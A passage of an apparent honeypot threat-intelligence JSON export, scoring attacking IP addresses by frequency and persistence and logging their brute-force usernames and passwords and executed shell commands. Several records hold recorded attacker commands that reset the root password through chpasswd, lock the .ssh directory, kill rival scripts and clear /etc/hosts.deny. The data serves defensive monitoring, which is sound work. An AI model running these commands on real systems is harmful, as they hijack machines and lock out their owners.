        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.session.closed",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 248,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:08:25.809000+00:00",
        "last_seen_30d": "2026-05-23T01:02:27.811000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 44
      }
    },
    "105.184.69.193": {
      "attack_count": 178,
      "first_seen": "2026-05-22T09:59:53.405Z",
      "last_seen": "2026-05-22T20:31:26.370Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "East London",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:59:53.405000+00:00",
        "last_seen_30d": "2026-05-22T20:32:32.612000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 89
      }
    },
    "43.153.21.121": {
      "attack_count": 173,
      "first_seen": "2026-05-13T22:07:58.901Z",
      "last_seen": "2026-05-13T22:46:32.362Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@123456789",
        "Changeme123",
        "Explorer",
        "abc123456.",
        "admadm",
        "apache!@",
        "bookkeeper",
        "dagifi1980",
        "deploy123",
        "dino",
        "heather",
        "marco2006",
        "oracle123",
        "os10+ZTE",
        "postgres123",
        "qwemnb",
        "red5",
        "rootme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lV4XkvJjAOZx\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T22:07:58.901000+00:00",
        "last_seen_30d": "2026-05-13T22:47:42.037000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 53
      }
    },
    "45.89.63.39": {
      "attack_count": 170,
      "first_seen": "2026-05-23T00:14:17.186Z",
      "last_seen": "2026-05-23T01:37:13.488Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "consulta",
        "francisco",
        "panel",
        "sammy",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "345gs5662d34",
        "123$",
        "123456789a",
        "Password1",
        "panel",
        "password1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n5ILRtCFVsrY6\\n5ILRtCFVsrY6\\n\"|passwd",
        "echo \"root:UO11boeXuw7P\"|chpasswd|bash",
        "echo -e \"123456\\n5ILRtCFVsrY6\\n5ILRtCFVsrY6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Coventry",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:14:17.186000+00:00",
        "last_seen_30d": "2026-05-23T01:38:22.645000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 170,
        "Suricata": 30
      }
    },
    "92.27.157.252": {
      "attack_count": 148,
      "first_seen": "2026-05-28T19:01:57.300Z",
      "last_seen": "2026-05-28T19:30:54.653Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "fabio",
        "gitlab-runner",
        "gpadmin",
        "mysql",
        "pbsworks",
        "peter",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456qwe",
        "299792458",
        "3245gs5662d34",
        "345gs5662d34",
        "888888",
        "Aa12345678",
        "M3gaP33!",
        "P@ssw0rd",
        "Passw0rd@1234",
        "Zz@123456",
        "azerty",
        "fabio",
        "fjbdfdjkdsfs541544",
        "gpadmin@123",
        "hellohello",
        "pbsworks",
        "qwert123.",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:pJpSm64cBS6G\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of Westminster",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T19:01:57.300000+00:00",
        "last_seen_30d": "2026-05-28T19:31:55.830000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 41
      }
    },
    "38.22.170.10": {
      "attack_count": 144,
      "first_seen": "2026-05-21T21:30:19.745Z",
      "last_seen": "2026-05-21T22:21:52.272Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "zimbra",
        "345gs5662d34",
        "brenda",
        "composer",
        "developer",
        "dk",
        "ict",
        "karen",
        "nexus",
        "oracle",
        "piuser",
        "testadmin",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123##",
        "P@ssw0rd",
        "Qwer.1234",
        "bismillah",
        "brenda",
        "composer",
        "dk",
        "karen123",
        "nexus123",
        "piuser",
        "test12345",
        "testadmin",
        "zimbra"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"zimbra\\nHzcgFojfZt2a\\nHzcgFojfZt2a\\n\"|passwd",
        "echo -e \"zimbra\\nHzcgFojfZt2a\\nHzcgFojfZt2a\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Guadalajara",
      "asn": 270133,
      "as_org": "Fiberwifi SA de CV",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:30:19.745000+00:00",
        "last_seen_30d": "2026-05-21T22:22:58.225000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "176.65.139.144": {
      "attack_count": 141,
      "first_seen": "2026-05-29T15:33:18.589Z",
      "last_seen": "2026-05-31T12:26:14.444Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "",
        "default",
        "e8ehome",
        "ftp",
        "hikvision",
        "pi",
        "postgres",
        "service",
        "support",
        "supportadmin",
        "test",
        "ubnt",
        "ubuntu"
      ],
      "passwords_attempted": [
        "",
        "password",
        "root",
        "admin",
        "1234",
        "123456",
        "54321",
        "888888",
        "admin123",
        "admin1234",
        "default",
        "e8ehome",
        "ftp",
        "hikvision",
        "ipdongle",
        "juantech",
        "postgres",
        "raspberry",
        "smcadmin",
        "support"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 194,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:33:18.589000+00:00",
        "last_seen_30d": "2026-05-31T12:36:13.700000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 141,
        "Suricata": 53
      }
    },
    "79.116.7.251": {
      "attack_count": 123,
      "first_seen": "2026-05-29T07:33:31.601Z",
      "last_seen": "2026-05-29T07:56:37.907Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "a",
        "admin",
        "halo",
        "sysadmin"
      ],
      "passwords_attempted": [
        "!QAZxsw2",
        "123456",
        "1q2w!Q@W",
        "3245gs5662d34",
        "345gs5662d34",
        "Kk123456",
        "Pb123456789",
        "Temp123456!",
        "abc123",
        "asdasdasd",
        "fjbdfdjkdsfs541544",
        "halo",
        "sysadmin2023"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:QxNX55h3OkWW\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 57269,
      "as_org": "Digi Spain Telecom S.A",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:33:31.601000+00:00",
        "last_seen_30d": "2026-05-29T07:57:46.517000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "177.128.28.122": {
      "attack_count": 118,
      "first_seen": "2026-05-18T22:09:39.035Z",
      "last_seen": "2026-05-19T06:16:13.416Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 52631,
      "as_org": "ISP PROVERNET INFORMATICA LTDA - ME",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:09:39.035000+00:00",
        "last_seen_30d": "2026-05-19T06:17:19.619000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 60
      }
    },
    "91.98.80.4": {
      "attack_count": 96,
      "first_seen": "2026-05-05T03:45:54.297Z",
      "last_seen": "2026-05-29T20:13:48.786Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:45:54.297000+00:00",
        "last_seen_30d": "2026-05-29T20:14:58.666000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "79.106.25.101": {
      "attack_count": 80,
      "first_seen": "2026-05-19T18:23:19.744Z",
      "last_seen": "2026-05-21T05:41:27.381Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 42313,
      "as_org": "One Albania Sh.a.",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:23:19.744000+00:00",
        "last_seen_30d": "2026-05-21T05:42:35.563000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 41
      }
    },
    "34.62.97.221": {
      "attack_count": 71,
      "first_seen": "2026-05-14T03:55:52.543Z",
      "last_seen": "2026-05-14T03:56:33.193Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3753",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:55:52.543000+00:00",
        "last_seen_30d": "2026-05-14T03:57:42.798000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "175.110.112.8": {
      "attack_count": 66,
      "first_seen": "2026-05-03T18:35:18.404Z",
      "last_seen": "2026-05-13T06:47:06.246Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:35:18.404000+00:00",
        "last_seen_30d": "2026-05-13T06:48:08.415000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "58.54.83.20": {
      "attack_count": 64,
      "first_seen": "2026-05-19T23:43:19.664Z",
      "last_seen": "2026-05-20T03:19:10.367Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:43:19.664000+00:00",
        "last_seen_30d": "2026-05-20T03:20:16.445000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 33
      }
    },
    "14.1.106.63": {
      "attack_count": 46,
      "first_seen": "2026-05-07T15:26:56.570Z",
      "last_seen": "2026-05-07T15:31:54.798Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:26:56.570000+00:00",
        "last_seen_30d": "2026-05-07T15:32:57.311000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "142.93.102.223": {
      "attack_count": 41,
      "first_seen": "2026-05-07T03:43:17.019Z",
      "last_seen": "2026-05-07T03:44:32.914Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T01:11:11.425000+00:00",
        "last_seen_30d": "2026-05-14T06:43:30.885000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Cowrie": 41,
        "Honeytrap": 18,
        "H0neytr4p": 8
      }
    },
    "193.105.134.45": {
      "attack_count": 37,
      "first_seen": "2026-05-06T23:51:02.329Z",
      "last_seen": "2026-05-26T19:07:16.700Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "ftp1",
        "authority",
        "ddd",
        "oracle"
      ],
      "passwords_attempted": [
        "ftp1",
        "authority",
        "ddd",
        "or4cl3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:51:02.329000+00:00",
        "last_seen_30d": "2026-05-26T19:08:22.231000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 19
      }
    },
    "37.103.245.18": {
      "attack_count": 32,
      "first_seen": "2026-05-03T23:35:32.282Z",
      "last_seen": "2026-05-03T23:45:40.355Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Turin",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T23:35:32.282000+00:00",
        "last_seen_30d": "2026-05-03T23:46:45.317000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 20
      }
    },
    "88.135.73.205": {
      "attack_count": 30,
      "first_seen": "2026-05-09T07:06:09.204Z",
      "last_seen": "2026-05-17T21:45:54.872Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:06:09.204000+00:00",
        "last_seen_30d": "2026-05-17T21:47:02.731000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "110.37.104.99": {
      "attack_count": 26,
      "first_seen": "2026-05-02T08:18:20.945Z",
